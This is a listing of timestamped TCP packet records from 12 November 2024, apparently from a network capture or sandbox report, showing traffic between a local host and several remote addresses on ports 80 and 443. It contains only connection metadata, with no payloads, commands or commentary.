Nov 12, 2024 08:30:36.594151974 CET	443	49881	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:36.594290972 CET	49881	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.594361067 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.594368935 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:36.594495058 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.594619989 CET	49883	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.594630003 CET	443	49883	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:36.594849110 CET	49878	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.594877005 CET	443	49878	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:36.594881058 CET	49883	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.595144987 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.595156908 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:36.595267057 CET	49880	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.595283985 CET	443	49880	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:36.595379114 CET	49881	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.595387936 CET	443	49881	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:36.595513105 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.595525980 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:36.595705032 CET	49883	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:36.595719099 CET	443	49883	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:36.638010025 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.638031960 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.638091087 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.638099909 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.638209105 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.639533997 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.639549971 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.639825106 CET	49884	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.639844894 CET	443	49884	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.640091896 CET	49884	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.640571117 CET	49884	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.640580893 CET	443	49884	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.646868944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.646904945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.646915913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.646940947 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.646967888 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.647078991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.647092104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.647104025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.647119045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.647125006 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.647161961 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.647229910 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.647401094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.647413015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.647425890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.647438049 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.647485018 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.647506952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.647727013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.647737980 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.647747993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.647761106 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.647773027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.647792101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.647841930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.648210049 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648221970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648232937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648251057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648263931 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648276091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648288965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648298979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648302078 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.648302078 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.648330927 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.648386955 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.648907900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648919106 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648930073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648942947 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648955107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648957968 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.648966074 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648978949 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.648991108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649000883 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.649000883 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.649003983 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649015903 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649028063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649029016 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.649068117 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.649130106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.649430037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649441004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649451017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649466991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649476051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649480104 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.649487972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649503946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649514914 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.649522066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649534941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649544001 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.649544001 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.649547100 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649559975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649570942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.649573088 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.649594069 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.649604082 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.650166035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.650178909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.650191069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.650202990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.650214911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.650227070 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.650230885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.650239944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.650253057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.650258064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.650266886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.650279045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.650290966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.650295973 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.650295973 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.650300980 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.650326014 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.650338888 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.651040077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.651055098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.651067019 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.651079893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.651092052 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.651104927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.651114941 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.651118040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.651130915 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.651141882 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.651146889 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.651146889 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.651156902 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.651174068 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.651209116 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.674674988 CET	443	49864	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.674801111 CET	443	49864	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.674990892 CET	49864	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.675846100 CET	49864	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.675865889 CET	443	49864	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.675884962 CET	49864	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.675889969 CET	443	49864	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.678899050 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.678935051 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.679133892 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.679359913 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:36.679368973 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:36.718411922 CET	49886	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:36.718460083 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:36.718554020 CET	49886	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:36.718830109 CET	49886	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:36.718848944 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:36.764434099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.764453888 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.764467001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.764538050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.764568090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.764607906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.764607906 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.764620066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.764631033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.764664888 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.764686108 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.765002966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.765013933 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.765146017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.765161037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.765171051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.765197039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.765208960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.765208960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.765212059 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.765225887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.765239000 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.765249968 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.765265942 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.765265942 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.765337944 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.766114950 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.766128063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.766138077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.766149998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.766160965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.766171932 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.766181946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.766192913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.766195059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.766202927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.766213894 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.766238928 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.766238928 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.766324997 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.767000914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.767014027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.767024040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.767035961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.767045975 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.767047882 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.767059088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.767067909 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.767069101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.767080069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.767090082 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.767097950 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.767100096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.767106056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.767142057 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.767142057 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.767987013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768004894 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768014908 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768026114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768038034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768049955 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768060923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768070936 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.768070936 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.768073082 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768083096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768093109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768094063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.768102884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768107891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768137932 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.768137932 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.768167019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.768951893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768966913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768976927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.768989086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769000053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769011021 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769022942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769025087 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.769033909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769045115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769047022 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.769054890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769068003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769082069 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.769093990 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.769191980 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.769865036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769885063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769896984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769908905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769921064 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769932032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.769979954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.769979954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.795751095 CET	443	49872	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:36.796058893 CET	49872	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:36.796082973 CET	443	49872	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:36.797117949 CET	443	49872	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:36.797197104 CET	49872	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:36.799321890 CET	49872	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:36.799382925 CET	443	49872	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:36.799566984 CET	49872	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:36.799573898 CET	443	49872	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:36.809858084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.809899092 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.809956074 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.810026884 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.824857950 CET	443	49865	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.825138092 CET	443	49866	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.825200081 CET	49865	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.825232029 CET	443	49865	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.825417995 CET	49866	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.825429916 CET	443	49866	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.825474024 CET	443	49868	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.825581074 CET	443	49865	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.826050043 CET	49865	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.826107979 CET	443	49865	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.826195002 CET	49868	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.826222897 CET	443	49868	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.826309919 CET	49865	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.826567888 CET	443	49866	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.826647043 CET	49866	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.826971054 CET	49866	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.827048063 CET	443	49866	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.827124119 CET	49866	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.827227116 CET	443	49868	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.827294111 CET	49868	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.828424931 CET	49868	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.828506947 CET	443	49868	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.828567982 CET	49868	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.840584993 CET	443	49867	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.841250896 CET	49867	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.841281891 CET	443	49867	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.842277050 CET	443	49867	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.842355967 CET	49867	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.842803955 CET	49867	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.842869997 CET	443	49867	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.843338966 CET	49867	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.843354940 CET	443	49867	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.846152067 CET	443	49869	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.846404076 CET	49869	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.846424103 CET	443	49869	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.847434998 CET	443	49869	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.847507954 CET	49869	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.847872019 CET	49869	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.847928047 CET	443	49869	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.848018885 CET	49869	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.867333889 CET	443	49865	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.867333889 CET	443	49866	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.869040966 CET	49868	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:36.869062901 CET	443	49868	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:36.881578922 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.881634951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.881647110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.881673098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.881724119 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.882951975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.882963896 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.882976055 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.882987022 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.882998943 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.883011103 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.883024931 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.883050919 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.883124113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.883618116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.883629084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.883641005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.883651018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.883698940 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.883729935 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.883991957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884010077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884021997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884032965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884047031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884047985 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:36.884057999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884068966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884080887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:36.884083033 CET	49809	80	192.168.2.5	185.215.113.206
